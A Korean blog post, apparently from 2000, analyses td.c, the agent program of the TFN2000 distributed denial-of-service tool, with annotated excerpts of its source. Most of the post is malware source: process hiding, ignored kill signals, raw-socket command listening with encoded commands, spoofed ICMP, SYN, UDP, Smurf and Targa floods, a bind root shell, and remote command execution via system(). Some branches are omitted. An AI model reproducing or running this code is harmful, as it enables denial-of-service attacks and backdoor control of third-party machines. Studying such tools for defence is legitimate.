[2000년 자료] TFN2000 의 tfn.c 분석 (3) td.c 분석

다음으로 살펴볼 것은 td.c 파일이다.
이 td.c 프로그램은 공격의 매개가 되는 클라이언트 개념의 각각의 컴퓨터에서
실행되어 tfn.c의 명령을 넘겨받아 실질적으로 공격을 개시한다. 이 프로그램은
tribe_cmd 라는 함수를 포함한다. 이 함수가 process.c의 여러 함수들을 불러
실질적인 공격을 실행한다.

int
main (int argc, char **argv)
{
int isock, tsock, usock, i; /*소켓들.*/

isock = socket (AF_INET, SOCK_RAW, ICMP);
tsock = socket (AF_INET, SOCK_RAW, TCP);
usock = socket (AF_INET, SOCK_RAW, UDP);
/*AF_INET는 인터넷 이름 공간에 맞는 주소 포맷이, SOCK_RAW에는 저수준의 네트워크
프로토콜과 인터페이스 억세스가 들어간다.  소켓에 관한 것은 sys/socket.h로
주어져 있으며, 형식은 socket(int namespace, int style, int protocol)이다.*/

/*또한 여기서 구조체가 하나 등장하는데, tribe.h에 선언되어 있는 tribe 라는 것이
그것이다. 이것은 캐릭터형인 start, id, end로 구성된다. 이것을 tribeh로 다시
받아준다.*/

memset (argv[0], 0, strlen (argv[0]));
/*memset은 문자 값을 이용하여 지정된 메모리 위치를 채우는 함수이다. */
strcpy (argv[0], HIDEME);
close (0);
close (1);
close (2);
#ifndef WINDOZE
if (fork ())
exit (0);
#else
switch (fork ())
{
case -1:
perror (“fork”);
/* perror 함수는 프로그램의 문제를 이해하는 것을 돕기 위해 사용되며, 마지막으로
일어난 시스템 에러에 관한 자세한 설명을 도출한다. 프로세스를 복제하는 것에
실패하면 그 이유를 화면에 뿌려 준다.*/
exit (0);
break;
case 0:
break;
default:
break;
}
#endif

signal (SIGHUP, SIG_IGN);
signal (SIGTERM, SIG_IGN);
signal (SIGCHLD, SIG_IGN);

/*여기까지 공격 대상에 대한 접속 준비를 끝마쳤다.*/

while (1) /*다들 알고 있는 무한 루프로 공격(마르고 닳도록) */
{
FD_ZERO (&rfds);
FD_SET (isock, &rfds);
FD_SET (usock, &rfds);
FD_SET (tsock, &rfds);
if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1)
continue;
if (FD_ISSET (isock, &rfds))
{
/*icmp로 공격하기 위한 준비 과정이다.*/
i = read (isock, buf, BS) – (sizeof (struct ip) + sizeof (struct icmp));
/*buf 는 앞에서 선언되는 배열. BS는 배열의 크기이다. tribe.h안에 기본
크기 4096 으로 지정되어 있다.*/
myip = htonl (iph->dst);
if (i < 4)
continue;
p = (buf + sizeof (struct ip) + sizeof (struct icmp));
if (!isprint (p[0]))
continue;
memset (clear, 0, BS);
security_through_obscurity (1);
decode64 (p, clear, i);
memset (buf, 0, BS);
security_through_obscurity (0);
if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
tribe_cmd (tribeh->id, data, argv);
/*실질적인 공격을 수행. 자세한 것은 뒤에. 아까의 tribeh 라는 구조체에서
id 값 즉 공격 방식만 받아서 쓴다. */
}
if (FD_ISSET (tsock, &rfds))
{
/*비슷한 과정이므로 생략*/
}
if (FD_ISSET (usock, &rfds))
{
/*비슷한 과정이므로 생략*/
}
}
/* 1 != 1 */
return (0);
}

void
tribe_cmd (char id, char *target, char **argp)
{
#ifdef ATTACKLOG
{
char tmp[BS];
sprintf (tmp, “PID %d CMD ‘%c’ TARGET %sn”
,getpid (), id, target);
dbug (tmp);
}
#endif
/*공격 방법에 따른 함수들을 불러 온다. 여기서는 process.c의 함수들을 불러
오게 된다. 이루어 지는 방식이 같으므로 ID_ICMP의 경우만 두고 나머지는
생략하겠다.*/
switch (id)
{
case ID_ICMP: /*icmp로 공격할 경우*/
if (fw00ding)  /* already in progress, ignored */
break;
fw00ding = 3;  /* commencing ICMP/8 flood */
strcpy (argp[0], HIDEKIDS);
commence_icmp (target);
strcpy (argp[0], HIDEME);
break;
case ID_SMURF: /*스머프 공격할 경우*/
case ID_SENDUDP: /*udp 포트로 패킷을 보낼 때*/
case ID_SENDSYN: /*syn 공격을 할 경우*/
case ID_STOPIT: /*공격을 중단한다.*/
if (!fw00ding)  /* 더 이상 의미가 없어진다. */
break;
must_kill_all ();  /* 자식 플러드까지 모두 소멸시킨다. */
usleep (100);
fw00ding = 0;
break;
case ID_SYNPORT: /*syn 공격할 포트를 지정*/
port4syn = atoi (target); /* syn port set */
break;
case ID_PSIZE: /*패킷 사이즈를 정한다.*/
psize = atoi (target); /* new packet size */
break;
case ID_SWITCH: /*숫자로 변환된 타겟으로 스푸프할 주소의 마스크를 확인.*/
switch (atoi (target))
{
case 0:
nospoof = 0;  /* spoof mask: *.*.*.* */
break;
case 1:
nospoof = 1;  /* spoof mask: real.*.*.* */
break;
case 2:
nospoof = 2;  /* spoof mask: real.real.*.* */
break;
case 3:
nospoof = 3;  /* spoof mask: real.real.real.* */
break;
default:
break;
}
break;
case ID_SHELL: /*bind로 루트셸을 빼앗을 경우.*/
shellsex (atoi (target)); /*process.c 안에 있는 함수*/
break;
case ID_TARGA: /*targa 공격을 한다.*/
case ID_MIX: /*혼합 공격시.*/
case ID_REXEC: /*원격 셸의 명령을 수행할 때.*/
system (target);
break;
default: /*특별한 게 들어오지 않으면 프로그램 수행을 정지한다.*/
break;
}
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

답글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다.